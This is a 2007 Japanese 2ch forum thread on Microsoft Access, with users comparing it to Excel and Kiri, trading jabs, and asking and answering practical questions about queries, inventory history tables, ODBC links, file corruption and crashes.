Accessで困ったときには、
Excelで読めるファイルにエクスポートして、
Excelで加工するのは、基本技。

133 :NAME IS NULL:2007/02/25(日) 19:39:13 ID:???
Excelへの吐き出しに頼るのは、
まともなシステムが構築出来ない無能力プログラマの常套手段

134 :NAME IS NULL:2007/02/25(日) 20:59:27 ID:???
>>133
無能力とか言う前にプログラムの話じゃないだろう?
VBAばりばり使える人がする質問じゃない。
もしVBAばりばり使える人だって言うのなら、
入力するたびにデフォルトのValueを変えればいいだけだろ?



135 :NAME IS NULL:2007/02/25(日) 21:12:30 ID:???
>>134
VBAさえも使えないというなら、それも無能力

136 :NAME IS NULL:2007/02/25(日) 21:35:04 ID:???
君は分かってないな。
>>127はあれだぞ。

137 :NAME IS NULL:2007/02/25(日) 21:48:30 ID:???
>>135
しかたないだろう?
ほとんどの人は大量のデータが扱えるExcelくらいの認識なんだから?
もともと別の会社の製品でExcelとは氏も素性も違って
ほとんど似てないなんて知らないのだから?
VBAがわからないと結局使い物にならないなんて思ってもいないよ。

マイクロソフトもいっそのこと桐でも買ってくれば良かったのに?
あれのほうが少しはExcelに似ている。


138 :NAME IS NULL:2007/02/26(月) 11:56:07 ID:9FHFgL0a
お薦めの入門サイト教えてください。
ぐぐっても、本の販売サイトばかりひっかかります。
たまに発見できてもバージョンがあいません。
自分のは2000なんですが・・・

139 :NAME IS NULL:2007/02/26(月) 12:38:32 ID:9FHFgL0a
アクセスってマクロの自動記録って無いんですね。
知らなかった。ショック・・・・

140 :NAME IS NULL:2007/02/26(月) 16:41:24 ID:???
>>139
だからExcelとはまるで違うものなんだって・・・
桐にはあるんだよね。マクロの自動記録とは呼ばないけれど・・・
http://www.naboki.net/access/heaven/index.html
いわゆる入門サイトとは違うけど、入門する前に目を通したほうがいいことがいっぱい書いてあります。

141 :NAME IS NULL:2007/02/26(月) 20:24:47 ID:???
>>137 もはや、Access不要だなw

Office Excel 2007 では、最大 100 万行、16,000 列のスプレッドシートが
サポートされているため、膨大な量のデータを処理できます。
大量のデータを分析する必要がある場合でも、複数のスプレッドシートや
他のアプリケーションを使用する必要はありません。

142 :NAME IS NULL:2007/02/26(月) 21:35:30 ID:???
>>141
だからExcelとAccessはまったくの別物だって・・・・・
Excelがいくら大量データを使えるようになったところで、
Accessの代わりにはならない。


143 :NAME IS NULL:2007/02/26(月) 23:27:47 ID:???
普通はそうだが>>127>>139みたいな人は同じものだと思っていると思います。

144 :NAME IS NULL:2007/02/26(月) 23:50:23 ID:???
>>142

笑いどころはここ。
>他のアプリケーションを使用する必要はありません。

145 :NAME IS NULL:2007/02/27(火) 00:43:18 ID:wWLkB84B
うちの会社エクセルシートに計算機で手計算して数値入力してる上司がいるんだがw

いいじゃないの 結果がちゃんと出れば・・・・

146 :NAME IS NULL:2007/02/27(火) 00:52:32 ID:PNBDDMi/
ワロッタw
EXCELがメモ帳代わりかよ

147 :NAME IS NULL:2007/02/27(火) 01:52:14 ID:???
1万何千列100万行のデータを抱え込んだExcelのファイルってのは、
どれぐらいのサイズになるんだ
つか、クリックしてから開けるまでどれぐらい時間がかかるんだ
開いている間に冬が終わって春とか初夏とかが来て梅雨が来て落雷して
停電しちゃっても大丈夫なのか

148 :NAME IS NULL:2007/02/27(火) 02:30:29 ID:???
早いCPUにメモリを沢山つんで、無停電装置もつければ
おーけーじゃね?

149 :NAME IS NULL:2007/02/27(火) 08:25:50 ID:???
>>145
うちはもうちょっとマシ。
=1+2+3+4+........................
とちゃんと=の使い方はマスターした(w
セルの意味は永久に理解しそうにない。


150 :NAME IS NULL:2007/02/27(火) 10:21:38 ID:0L3j2AYF
(・∀・):あ○○君ちょっとここ教えてほしいんだが・・・・
(´Д`;):ハイハイ・・・ああ ここはですね・・・
(・∀・):おおーこうやるのか・・あーわかったわかった後はこっちでやる
(´Д`;):はいではお願いします

5分後

(・∀・):あ○○君ちょっとここ教えてほしいんだが・・・・
(´Д`;):ハイハイ・・・ああ ここはですね・・・(わからなかったんだな・・・)

151 :NAME IS NULL:2007/02/28(水) 01:19:18 ID:???
Excel,Accessマンセーする奴に限って,
OracleとかSQLServerでシステム構築すると,
安定性大丈夫なんですか!RASISは!とか言って騒ぐんだよな.
おまいらの使ってるソレよりは16倍くらいはマシだっつーの.

152 :NAME IS NULL:2007/02/28(水) 01:27:21 ID:???
>>151
何か悪いもんでも喰ったか?

つ:ゲロ袋

153 :NAME IS NULL:2007/02/28(水) 04:30:30 ID:???
>>151
16倍は酷いだろ! 256倍くらいにしとけよw

154 :NAME IS NULL:2007/02/28(水) 11:22:24 ID:???
>>151
そいつに「2GB」とか「65,536 行、256 列」と耳打ちしてみる。


155 :NAME IS NULL:2007/02/28(水) 12:14:29 ID:???
>>151
Excel2007マンセー、と言い返される。

156 :NAME IS NULL:2007/02/28(水) 13:54:02 ID:/liZTVWN
ACCESSは70過ぎのウチの老母でも楽々使えるが、Oracleは東大卒の巨大パソコンメーカー社員でも難しいと嘆くソフト。
ママチャリとF1を比べるようなものだろ。

157 :NAME IS NULL:2007/02/28(水) 14:05:19 ID:???
フロントエンドとDBMSを比べてどうすんのよ


158 :NAME IS NULL:2007/03/01(木) 22:48:58 ID:pNoo3yuq
フォームに犬、猫、羊に○があったり空白があります。犬に○、猫に空白、羊に○、全部空白
などを抽出するにはどうすれば良いでしょう?
クエリの抽出条件をどうすれば良いかわからないです…

159 :NAME IS NULL:2007/03/01(木) 23:00:02 ID:???
日本語でおk

160 :NAME IS NULL:2007/03/02(金) 00:35:08 ID:???
編集→追加貼り付けなんですが、これのショートカットってあるんでしょうか?
MSのショートカット一覧見ても載ってないし…
毎度毎度編集からやるのめんどくさいー

161 :NAME IS NULL:2007/03/02(金) 01:27:51 ID:oecE95D3
>>156ってバカっぽいw

162 :NAME IS NULL:2007/03/02(金) 16:17:36 ID:Qi8ZZAPv
>>158って可愛い


163 :158:2007/03/02(金) 23:10:09 ID:GXBmeTkN
解決しました

164 :132:2007/03/03(土) 20:23:34 ID:gB9dVFIQ
誰がなんと言おうと、私の部署でAccessを触れるのは私だけ。

ほかの人には、しょうがないので、エクセルでデータを渡す。
ほかの人からは、しょうがないのでエクセルのデータをもらってテーブルを作る。


悲しい。

165 :NAME IS NULL:2007/03/03(土) 22:06:56 ID:80YbnFM5
>>164
我が同士だな。ACCESSを使う為にWindowsを選択すると言うのを忘れている。
ExcelなんてACCESSの一つのツールに過ぎん。

166 :NAME IS NULL:2007/03/04(日) 00:50:57 ID:???
>>162
みんなが使えるようにシステム化すればいいじゃん。

167 :NAME IS NULL:2007/03/04(日) 12:31:32 ID:hWkJx4Lc
ソース非公開のサンプル(VBAでAllowBypassKeyがFalseになってる?)の
中身を何とか見たい場合ってどうすればいいんでしょ?
ファイルの外側から操作してコードを見たり、フォームの編集画面に切り替えたり
できるようになりますか?
Access2000、WinXP使用してます。

168 :NAME IS NULL:2007/03/04(日) 12:48:05 ID:???
ttp://x7net.com/~access/index.php?option=com_smf&Itemid=33&topic=91.0;prev_next=next
ここはどう?

169 :NAME IS NULL:2007/03/04(日) 14:27:07 ID:???
>>167
こういうことを平気で聞くやつの気が知れない。
見せたくないから非公開にしているのに・・・・・


170 :NAME IS NULL:2007/03/04(日) 18:59:53 ID:???
>>167
簡単だよ

171 :NAME IS NULL:2007/03/04(日) 23:31:22 ID:???
MDEになっているのなら無理じゃね?


172 :NAME IS NULL:2007/03/05(月) 03:10:19 ID:???
>>171
オマエ、話がずれてるぞ。

173 :NAME IS NULL:2007/03/05(月) 23:02:20 ID:???
質問ちゃんです。お願いします。

Access2007を試用中です。PostgresqlのODBC Unicodeドライバでつないで使ってます。
テーブルのリンクを作る際にパスワードを保存しようとすると、

> 「〜文字化け〜」が見つかりません。

と言われたり言われなかったりします。これはANSIドライバだと起こりません。
また、パスワードを保存しないと、次回accdbを開いたときに接続できなくなってしまいます。
何か解決策はありますか?

174 :173:2007/03/06(火) 19:40:58 ID:???
Microsoftから行ける教えてネットとかいうところで関連する記事発見。
ドライバのバグかもしれない、とのこと。解決せず。
パスワードファイル名に使われるテーブル名がUnicodeだから問題なのかな。

175 :NAME IS NULL:2007/03/08(木) 05:39:54 ID:???
Acess2003で構築中です。

mdbファイルを開くとき毎回security worningでOpenを選択した後、アクセスがそのまま閉じてしまいます。
ldbファイルは残ってしまい削除できないので、タスクマネージャーを使ってプロセスを殺し、削除しています。
2回目に開くとOpenを選択後はちゃんと開きます。

最適化
空のDBに全部インポート

はためしてみましたが、変わりません。
なにか確認するところはありますか?

ヒントでも結構ですよろしくお願いします。

176 :175:2007/03/08(木) 06:36:58 ID:???
補足です。
どうやら問題は開くときというより閉じるときのようです。
MDBを閉じてもタスクマネージャーのプロセスにMSACCESS.exeが残ってしまっています。
MDBを開く前にコレを閉じたら普通に開けました。

同じパソコン上で別のMDBファイルを開く>閉じるしてもタスクマネージャーには
残っていませんでした。

何が悪さしているんでしょう??

177 :NAME IS NULL:2007/03/08(木) 16:01:50 ID:???
>>176

もちろん、OS、Officeの最新修正パッチはあてての話しだよね。

>何が悪さしているんでしょう??

全てのプロセス晒す勇気あるの?

178 :NAME IS NULL:2007/03/08(木) 20:23:17 ID:???
ただ単にcloseしてないとか・・・

179 :NAME IS NULL:2007/03/08(木) 23:17:28 ID:???
MDBを閉じることと、Accessを終了すること、これを明確に分けて
考えること・書き込むこと。

180 :NAME IS NULL:2007/03/09(金) 13:38:57 ID:VlRmkENp
Accessで多重のリレーションチェーンはどうやって作るのでしょうか?

181 :NAME IS NULL:2007/03/09(金) 18:48:25 ID:???
イベント プロパティに指定した式 クリック時 でエラーが発生しました

  _..,,.,,.
  「r',. 、
 d ´c`/ ちくしょう…
  i ' ∋

ぉち 彡 ,.-,ニユ、
ぉ く .三  { ,.= r、
|し 三 (6' r',ニ7
|ょ 三. | !| { {
|お 三. | ミ‐ニ)
! ! ぉ ミ !   {

182 :NAME IS NULL:2007/03/10(土) 22:17:19 ID:765QKwU6
ACCESS総合相談所 その16 【桐にしとけ】
http://pc11.2ch.net/test/read.cgi/bsoft/1157195290/832

832 名前:名無しさん@そうだ選挙にいこう[] 投稿日:2007/03/10(土) 14:13:34
Accessってさぁ、残高計算できないから出納帳とか会計処理は出来ないよね。
VBAでレコードセットの更新掛けても、整列項目値が同じレコードの順番が指定できないから、正確な残高が保証されないよね。

桐だと論理レコード番号があるから、正確な残高計算できるからGoodだね。

835 名前:名無しさん@そうだ選挙にいこう[sage] 投稿日:2007/03/10(土) 17:33:38
確かにAccessでは累計とか連番とかは結果が保証されない。
だから何?

838 名前:名無しさん@そうだ選挙にいこう[sage] 投稿日:2007/03/10(土) 21:41:58
ええええーーーーーーーーーーっ!!!!!!!!!
accessで残高計算できないのーーーーーーーーーー

183 :NAME IS NULL:2007/03/10(土) 22:46:26 ID:???
>>182
だから桐が優れていると?
accessで作られた出納帳とか会計処理は腐るほどある。
確かに累計出すときには桐は便利だがそれがすべてって話でもあるまい。
accessと桐は目的も目指すところも違うのだから、どっちがいいってことはない。
変なライバル心持つなよ。


184 :NAME IS NULL:2007/03/11(日) 13:28:01 ID:???
つーかAccessだろうが桐だろうが、使い方でいかようにも解決できるだろ
なんのための拡張性なんだよ

185 :NAME IS NULL:2007/03/11(日) 14:41:58 ID:???
FileMaker最強!

186 :NAME IS NULL:2007/03/11(日) 19:00:01 ID:???
>>185
ろくにプログラムができないならいい選択だ。
つうか、わざわざここに来て言う意味がどこにある?


187 :NAME IS NULL:2007/03/12(月) 23:36:40 ID:???
桐って ずっとキリ番のキリかと思ってた
つまりAccess 2000のことね

あと3年はロムっとくわorz

188 :NAME IS NULL:2007/03/13(火) 15:09:01 ID:???
半年ロムる前にすることがあるだろ?

189 :経理:2007/03/13(火) 19:15:57 ID:E2+9uzCK
ここの人達(プロ)には評判悪いかも知れないがエンドユーザーから見れば最高だ。
手作業で一日、二日はかかるものが五分で終わる。
構築は素人でもなんとかなる。そこそこはメンドいがそれ以上の見返りは十分にある。
アクセス様様

190 :NAME IS NULL:2007/03/13(火) 20:47:12 ID:???
>>189
うん、一人で使う分には良いと思うよ。
これがネットワーク上でDB共有したいとか
欲張り始めると大変なことになる。


191 :NAME IS NULL:2007/03/13(火) 21:08:29 ID:???
桐ってまだ手に入るの?

192 :NAME IS NULL:2007/03/13(火) 21:22:39 ID:???
まだも何もvista正式対応版がもうじき発売予定らしいよ。

193 :NAME IS NULL:2007/03/13(火) 21:27:35 ID:???
俺はアクセスも桐も使うけど、人に使わせる必要がなければ桐を使う。
桐ならかなり適当に表を作って適当に集計して適当に印刷できる。
結果だけ欲しいなら、入力フォームもSQLも印刷帳票も設定する必要がない。
表のまま印刷しても結構さまになる。
アクセスでは出来ないことだが、マクロの登録もエクセルのようにできる。
項目に直接式が入るところなどエクセルと良く似ていてわかりやすい。
むしろ、エクセルから移行するなら桐のほうがずっとわかりやすい。

ただ、柔軟すぎるのと入力がちょっと独特なので人には使わせられない。
小規模のアプリケーションを作るならアクセスのほうがいいと思う。
VBAもSQLも身につくからプログラム入門としてはいい。




194 :NAME IS NULL:2007/03/13(火) 23:11:08 ID:???
いや、桐の入力は最強だよ
アクセスだと入力遅いし間違える

195 :NAME IS NULL:2007/03/13(火) 23:22:59 ID:???
あ、カード形式フォームじゃなくて、
表形式フォームとかテーブル・表のまま前後のレコード見える状態で、
スーパーのレジのオバサンみたいにびゅんびゅん入力する場合ね
アクセスだと数レコード前の誤入力に気付いて訂正しようとすると、
何処訂正したか解らなくなったり、関係ない場所変更しちゃったり、訳わかんなくなって入力データ全部信頼できなくなる
だから、びゅんびゅん入力できない
桐だと、そんな心配せずに、びゅんびゅん入力できる

前後のレコード見えないカード形式じゃ入力遅いし間違い入力の訂正も遅いよね

196 :NAME IS NULL:2007/03/13(火) 23:28:52 ID:???
>>195
ああ、それはそうだ。
似たようなデータが続くときは簡単に複写できるし、
表形式のときの入力のしやすさは抜群だ。
でも、桐でアプリケーション作る気にはなれない。


197 :NAME IS NULL:2007/03/16(金) 13:43:02 ID:d/DlNvfS
Accessでアプリ作ると使うPCのディスプレイサイズによってフォーム作り変えなきゃならんよ
桐なら倍率指定してフォームの拡大縮小ができるよ

198 :NAME IS NULL:2007/03/16(金) 16:34:35 ID:???
>>195 入力エラーがあった場合、その処置が大問題になるな

一気入力画面でも作ればいいべ

199 :NAME IS NULL:2007/03/16(金) 16:45:15 ID:iPU7gehP
Access2007にある「添付ファイル型」フィールドを
SQLServerで扱いたいのですが、自動アップサイズさせると
メモ型になって動作しなくなります。
解決策をご存知の方いらっしゃいませんか?

SQLServerにないフィールドタイプなので無理でしょうか。


200 :NAME IS NULL:2007/03/16(金) 17:55:24 ID:???
>>199
汝命知らずのチャレンジャーよ、SQLServerのバージョンをついでに教えてくだされ。

Microsoftの事だから、2005SP2からは動作するようになってるかもしれんわけで。
(2005からはフィールドにユーザ定義型突っ込めるようになったからね、SQL鯖)

201 :NAME IS NULL:2007/03/16(金) 17:56:43 ID:HtYEd7uv
>>199
添付ファイル魅力有るし、試験的にやってみるがデータが馬鹿でかくなる。安定性の情報希望。

202 :NAME IS NULL:2007/03/17(土) 01:35:25 ID:???
>>197
解像度な。

203 :NAME IS NULL:2007/03/18(日) 03:26:51 ID:???
せっかく解像度あげても、出てくるフォームが拡大されるだけってのも悲しいなあ?
解像度上げたなら、情報量も増えないと意味がない。結局フォームは作り直しってことになる?


204 :NAME IS NULL:2007/03/18(日) 10:44:32 ID:???
ディスプレイごとにフォーム作り直しなら良いだろ。
それがメイドイから拡大されると便利だって話。

205 :NAME IS NULL:2007/03/18(日) 10:52:52 ID:???
>>204
今なら1024×768で考えておけばほとんど問題はない。
通常ならそれ以上の解像度を要求するようなアプリケーション作るほうがどうかしている。


206 :NAME IS NULL:2007/03/18(日) 10:57:16 ID:???
うちの従業員、600x800とか横長とか色んなノートパソコンで仕事してます。

207 :NAME IS NULL:2007/03/18(日) 14:23:25 ID:???
>>206
今時、800×600に合わせてアプリケーション作れってか?
Dellで一番安いノートパソコンに買いかえたほうが早い。



208 :NAME IS NULL:2007/03/18(日) 14:24:53 ID:???
桐でフォーム拡大縮小の方が安いだろ、無料で一瞬だ。

209 :NAME IS NULL:2007/03/18(日) 14:41:03 ID:???
>>208
別に桐のフォーム拡大縮小機能を必要ないとは言わないけど、
アプリケーション作る側にしてみると1024×768は欲しいな?



210 :NAME IS NULL:2007/03/18(日) 15:29:23 ID:???
1024*768で設計したフォームが無理矢理800*600に縮小されても
フォントが変に潰れて見づらいだけだろうに・・・

211 :NAME IS NULL:2007/03/18(日) 16:24:48 ID:???
なんか妙に話がずれているような?・・・・

昔は800×600のノートパソコンも珍しくなかったけど、最近はモバイル用くらいしか見ない。
今やごく少数派になった解像度に合わせて使いづらいアプリケーションつくるのはごめんだな。


212 :NAME IS NULL:2007/03/18(日) 18:44:28 ID:???
便利だよ、普通にアプリ作って、小さいノートPC仕様者が居てもフォーム縮小するだけ
別にフォント潰れない、一辺が半分にもならないでしょ

213 :NAME IS NULL:2007/03/18(日) 21:07:09 ID:???
わかったからいつまでもAccessスレで桐の話するな。


214 :NAME IS NULL:2007/03/18(日) 23:40:31 ID:???
今度大きい液晶買ったぜなんと24インチだぜ。



文字が拡大するだけ

215 :NAME IS NULL:2007/03/19(月) 09:43:23 ID:???
>>214
老眼にはうれしいな(w


216 :NAME IS NULL:2007/03/19(月) 11:07:19 ID:a1GB9mwC
>>200
SQLServer7の時代のMSDEと2005SP2のExpressでやったのですが
どちらもAccessのウィザードではダメでした。
手動でユーザ定義型を予め定義しておいてリンクすれば動作するなら
その情報を教えていただけないでしょうか。

>>201
 Access単体テストでは1、2レコード入れて動作を確認しただけで
安定性は全然わかりません。
 操作性は期待通りです。

217 :NAME IS NULL:2007/03/19(月) 13:34:45 ID:???
>>216
この「添付ファイル」型、裏で別の収納用テーブル作ってるっぽいね。
MSysObjectsに何時の間にかテーブルらしきTypeの行が増えてて、
MSysComplexColumnsにそれを指す行が一行増える、と。
フィールドとしてデータを中に抱え込んでない。

この収納用テーブルのようなものをゴニョってSQL鯖に
飛ばせばいいのかもしれないけど、MSysObjectsに書かれてる名前には
SELECT * も通らないし、ゴニョる手が無い。

さてどうしてくれよう。

218 :NAME IS NULL:2007/03/22(木) 10:23:41 ID:4LsQOJat
裏で別テーブル操作してるんですか。
やっぱりSQLServerでは難しいんでしょうかね。

219 :NAME IS NULL:2007/03/26(月) 19:54:00 ID:???
Excelのファイルをインポートしようとすると
「DLL読み込み時のエラーです」
と出てインポートできません。
インストールしたばかりなのですが、一体どうなっているのでしょう?

220 :NAME IS NULL:2007/03/26(月) 21:12:24 ID:???
そーなっているんだよ。

221 :NAME IS NULL:2007/03/26(月) 21:53:53 ID:???
>>219
だーかーらーーー
「DLL読み込み時のエラーです」なんだよw

222 :NAME IS NULL:2007/03/26(月) 21:58:08 ID:???
エラーになっているのでしょう

223 :NAME IS NULL:2007/03/26(月) 22:33:53 ID:???
それはえらーいこっちゃ

224 :NAME IS NULL:2007/03/26(月) 22:40:40 ID:???
>>219
じゃがりこ旨いよな

225 :NAME IS NULL:2007/03/27(火) 16:27:15 ID:V04wDnjX
ゴ ゴ ゴ ゴ ゴ ゴ ゴ ゴ   
   /\  /| 
  / /| \/ |(\ /)
 / / |  \|( ゚ー゚) <全力でWindowsを捨てOpenBSDに移行せよ
/  / |   __〃`ヽ 〈_   OpenBSD
  / γ´⌒´-−ヾvーヽ⌒ヽ    OpenOffice.org+Wine
  //⌒  ィ theo`i´ pf ); `ヽ  FireFox+Xfce+uim+anthy
 //    ノ^ 、___¥__人  |      ClamAV+Snort+Privoxy+Tor
/ !  ,,,ノ爻\_ _人 ノr;^ >  )      PostgresQL+MySQL+Openldap
/ (   <_ \ヘ、,, __,+、__rノ/  /
  ヽ_  \ )ゝ、__,+、_ア〃 /
    ヽ、___ ヽ.=┬─┬〈  ソ、
      〈J .〉、|   |, |ヽ-´
      /""  | sshd |: |
      レ   :|:   | リ
      /   ノ|__| |
↑    /| ,,  ソ  ヽ  )
 \_/ .,ゝ   )  イ ヽ ノ
     y `レl   〈´  リ
     /   ノ   |   | .
     l  /    l;;  |
     〉 〈      〉  |
    /  ::|    (_ヽ \、
   (。mnノ      `ヽnm

226 :NAME IS NULL:2007/03/29(木) 00:02:14 ID:???
BASEにAccess代替はまだ荷が重い
ああ、Accessを手放す日はいつくるのか……

227 :NAME IS NULL:2007/03/30(金) 00:34:21 ID:Ok8Uw+ej
データベースは自分だけでなく、後の担当者が使えないといけない。参考書が充実したソフトでないと使いずらい。

228 :NAME IS NULL:2007/03/30(金) 19:00:18 ID:???
BASEはそれ以前の問題かもしれん。

229 :NAME IS NULL:2007/04/04(水) 10:19:25 ID:F2WQtRWQ
アクセスで在庫管理を作りたいのですが、在庫数10個の場合、1個使って入力すると在庫数が9になるようにしたのですが、この在庫数を履歴として残したい場合どうすればいいのでしょうか?

1/1は10個 1/2に1個使って9個としたいのですが1/1の在庫数の履歴も9個になってしまいます・・・

説明下手ですいませんがご教授願います




230 :NAME IS NULL:2007/04/04(水) 10:30:45 ID:eb4qCUiJ
アクセスで在庫管理を作っているのですが、10個の在庫があるとして 1/1に1個使い9個1/2に1個使い8個にはなるのですが1/1の履歴も8個になってしまいます。 日毎の履歴はそのままにしたい場合はどうすればいいのでしょうか?


231 :NAME IS NULL:2007/04/04(水) 10:31:53 ID:eb4qCUiJ
すいません 書き込み失敗したかと思って重複しちゃいました・・・


232 :NAME IS NULL:2007/04/04(水) 10:36:52 ID:???
>>229
別途、履歴のログテーブルでも作れ。

233 :NAME IS NULL:2007/04/04(水) 11:59:04 ID:v5iA/SJP
店舗数約30店、商品数500前後の規模の在庫管理を考えてます。
EXCEL+ACCESS2003
規模的に可能でしょうか?教えて下さい。

234 :NAME IS NULL:2007/04/04(水) 12:02:22 ID:???
よゆうっち

235 :NAME IS NULL:2007/04/04(水) 12:09:11 ID:???
>>233
当然、システムは1カ所で起動するだけで、
各店舗からのデータ共有は無しだよな?

・・・もし共有するつもりなら
MSDEでもいいから、
ちゃんとしたRDBMSを使え。


236 :NAME IS NULL:2007/04/04(水) 13:30:50 ID:L6Zll+Xi
アクセスのファイルなんですが、パスワードなんかかけた覚えも無い
のに、ある日開こうとしたらいきなりパスワードを要求されて困って
います。
自動的にパスワードを設定されてしまった、なんてケースはあるので
しょうか?

Winxp SP2,OfficeXP です。

237 :NAME IS NULL:2007/04/04(水) 14:45:43 ID:???
>>236
壊れたのかもしれないので、すぐに別に空のmdbファイルをつくってそこにインポートすべし。
それができないほどに壊れたのであればあきらめるしかないかもしれない。


238 :236:2007/04/04(水) 14:52:50 ID:L6Zll+Xi
>>237
有難うございます。オリジナルは必ず編集せずにとっとくようにしてるので
即オリジナルで復旧しました。が、理由がわからないので、いつ再発するか
わからないし気持ち悪いです。
ファイルが壊れてパスワード要求なんて事があるんですね。他のオフィス製
品(ワード、エクセル)では経験ありませんが。

239 :NAME IS NULL:2007/04/04(水) 15:19:13 ID:???
>>238
ACCESSを信用するな。

240 :NAME IS NULL:2007/04/04(水) 15:39:13 ID:???
>>236
お前の回りの人間で犯行推定時刻にアリバイのない人間はいるか?

241 :236:2007/04/04(水) 16:06:07 ID:L6Zll+Xi
>>240
自分のPCは誰も使用してませんし、ネットにもつないでいません。
さすがにその線は薄いかと。

242 :NAME IS NULL:2007/04/04(水) 16:08:38 ID:???
ヒント:短期記憶の障害

243 :NAME IS NULL:2007/04/04(水) 17:19:24 ID:???
>>238
パスワードうんぬんは今までないけど、アクセスは妙な壊れ方するときがある。
終了時の最適化とバックアップは必須です。


244 :236:2007/04/04(水) 18:19:44 ID:L6Zll+Xi
>妙な壊れ方

ああ、やっぱりそうなんですね。最適化って効果を実感します?

しかし壊れて開けないのならともかくパスワードにはびっくりしたな。
前も一回そういうことがあったけど原因はわからずじまい。

245 :NAME IS NULL:2007/04/04(水) 18:32:40 ID:???
>>244
最適化はやらないよりはやった方がいい。


246 :NAME IS NULL:2007/04/04(水) 18:37:39 ID:???
やらないほうが良いはず無いだろ

247 :NAME IS NULL:2007/04/04(水) 19:01:18 ID:???
ヒント:使わないで済むなら、そのほうがよい。

248 :NAME IS NULL:2007/04/04(水) 19:05:31 ID:???
ヒント:使わない方が良い機能が何故に有る

249 :NAME IS NULL:2007/04/04(水) 19:21:55 ID:???
ヒントその2:使わない方が良いのはAccessそのもの

250 :NAME IS NULL:2007/04/04(水) 19:23:17 ID:???
じゃ、桐にしとけ

251 :NAME IS NULL:2007/04/04(水) 19:40:41 ID:gxngFQdw
「桐にしとけ」って多いけど、桐の方は共有しても壊れにくいの?

252 :NAME IS NULL:2007/04/04(水) 19:58:37 ID:???
>>251
共有してどうのこうという前にAccessよりはかなり壊れにくいし、
壊れてもかなり強力に修復してくれるツールがある。
Accessで最適化しても壊れにくくなるのがせいぜいで修復はしてくれない。
だからといって、桐が全部良いってわけでもないからなあ?
直接データをいじって集計したり計算したりするなら桐を使うほうがはるかに楽だけど、
アプリケーション作るならまた話は別。


253 :NAME IS NULL:2007/04/04(水) 20:05:50 ID:gxngFQdw
>>252
そうですか。
早速のレスどうも。



254 :NAME IS NULL:2007/04/04(水) 22:25:59 ID:???
>>251
桐のファイルは滅多に壊れないよ
でも、共有に向いてないのはAccessと同様

255 :NAME IS NULL:2007/04/04(水) 23:05:11 ID:???
Accessならデータを別のデーターベースにすることによって共有に向かないという問題点を解決可能。
桐は同様に外部データベースに接続することが出来るが、処理は桐のデータに変換してから行うらしく、
非常に遅くなるため、解決にならない。良い悪いではなく、設計思想が違う。

256 :NAME IS NULL:2007/04/04(水) 23:28:27 ID:???
>>255
1行目
桐もAccessも同じだよ。
ファイル共有型の欠点、少数の共有しか実用にならない。

2行目
外部データ接続も、桐もAccessもODBCで行える。
確かに桐はクエリ投げずに全部読んでから処理する感じだね。

257 :NAME IS NULL:2007/04/05(木) 02:04:25 ID:???
Accessで最適化かけたらデータ半分以上消えた
こーゆー壊れ方もある
やっぱ最凶

258 :NAME IS NULL:2007/04/05(木) 08:12:31 ID:???
>>256
> 外部データ接続も、桐もAccessもODBCで行える。
> 確かに桐はクエリ投げずに全部読んでから処理する感じだね。

桐にはクエリーという考え方が無いからそうせざる得ないと思う。


259 :NAME IS NULL:2007/04/05(木) 08:15:17 ID:???
>>257
そりゃあ、最適化かけたから壊れたんじゃなくて、
壊れているMDBに最適化をかけたというのが正しいと思うけど。
まあ、壊れたことには違いないか?

260 :NAME IS NULL:2007/04/05(木) 11:47:24 ID:???
そういえば桐とかはどうやってDBに接続するんだ?
OLDBドライバみたいなのがついてくるの?

261 :NAME IS NULL:2007/04/05(木) 12:03:04 ID:???
他社が出してるドライバ・Windowsに付いてくるのとか、を使って他社DBに接続する
桐には付属しないから、他社から桐への接続は出来ない

262 :NAME IS NULL:2007/04/05(木) 13:04:22 ID:???
それにしてもAccessの不安定さってなんとかならんもんかなあ?
Access2000でさえ、いまだに時々突然落ちる。

263 :NAME IS NULL:2007/04/05(木) 19:58:14 ID:???
>>230
ちょっと遅レス。

在庫数 = 棚卸しした時点での数量+棚卸し後のの合計(入庫した数量-出庫した数量)

棚卸・入庫・出庫のレコードをテーブルに置いて
在庫は適時クエリを打って算出するようにすると
ややこしくなくなるよ。

264 :NAME IS NULL:2007/04/05(木) 19:59:10 ID:???
>>262
最新版を使ってください。

265 :NAME IS NULL:2007/04/05(木) 22:02:27 ID:???
>>264
最新にしてもやっぱりなるよ。


266 :NAME IS NULL:2007/04/06(金) 01:09:59 ID:???
してないくせに言うな。

267 :NAME IS NULL:2007/04/06(金) 01:17:19 ID:???
>>266
確かめもせずに・・・・・・○○と言おうか?・・・・まあいいか・・・・・・
複雑な処理をしているフォームを起動するとなぜかそんなことに・・・・・
まあ、立ち上げなおすと何事も無かったように動くけど、なんだが不安。


268 :NAME IS NULL:2007/04/07(土) 00:55:35 ID:???
>>267
複雑な処理をしているフォーム=どこかにバグが潜んでいる可能性が
ある(もちろんAccess自身のバグのことではなくて)ってのも疑うべき。
Access2000でさえ複雑な処理でも、そう簡単には落ちなかった。

269 :NAME IS NULL:2007/04/07(土) 01:23:50 ID:???
それって逆に考えると「複雑な処理」をしていないフォームは安定してるってことでは?

もしかしてレコードセットが更新されてもいないうちから全レコードの合計計算したいとか、
ディスプレイの解像度に合わせてフォームを自動で拡大縮小したいとか、
この手のリクエストに無理やりゴリゴリ書きで対応して悦に入るタイプ?

270 :NAME IS NULL:2007/04/07(土) 07:08:46 ID:???
>>269
そんなことはしとらんがな。
ただ、使いやすいように工夫していけば自然にコードは増える。
まあ、簡単なフォームは落ちたってことはないが、
落ちないようにフォームを簡単にするって気にはならない。
直接フォームにコードをあまり書かないで、モジュールのほうに書くほうがいいのかなあ?
そういや、フォームがどの程度の大きさになっているのか調べる方法は無いのか?
空のデータベースにインポートすればだいたいわかるだろうけど、いちいち面倒。


271 :NAME IS NULL:2007/04/07(土) 22:58:41 ID:???
> それって逆に考えると「複雑な処理」をしていないフォームは安定してるってことでは?

複雑な処理をしても安定してなきゃ、使いものにならんだろw

272 :NAME IS NULL:2007/04/07(土) 23:05:50 ID:???
いろんなイベントが発生しまくる複雑な画面は勘弁してください><

273 :NAME IS NULL:2007/04/08(日) 00:01:02 ID:???
使いやすいような工夫とやらが具体的に何をしてるのかは知らないけど、
GotFocusやLostFocus、あとEnterとかCurrentなどの移動系のイベントが大好きで
考えなしに非同期のDoCmd.〜やSendKeysを多用するスタイルで文句言ってるなら
Accessがどうのこうの以前の問題だろうな。

普通のフォームが安定してて、自身がコード書きまくりのフォームが不安定だというなら
まず最初に疑うべき点はどこよw

274 :NAME IS NULL:2007/04/08(日) 01:22:23 ID:???
>>273
> GotFocusやLostFocus、あとEnterとかCurrentなどの移動系のイベントが大好きで

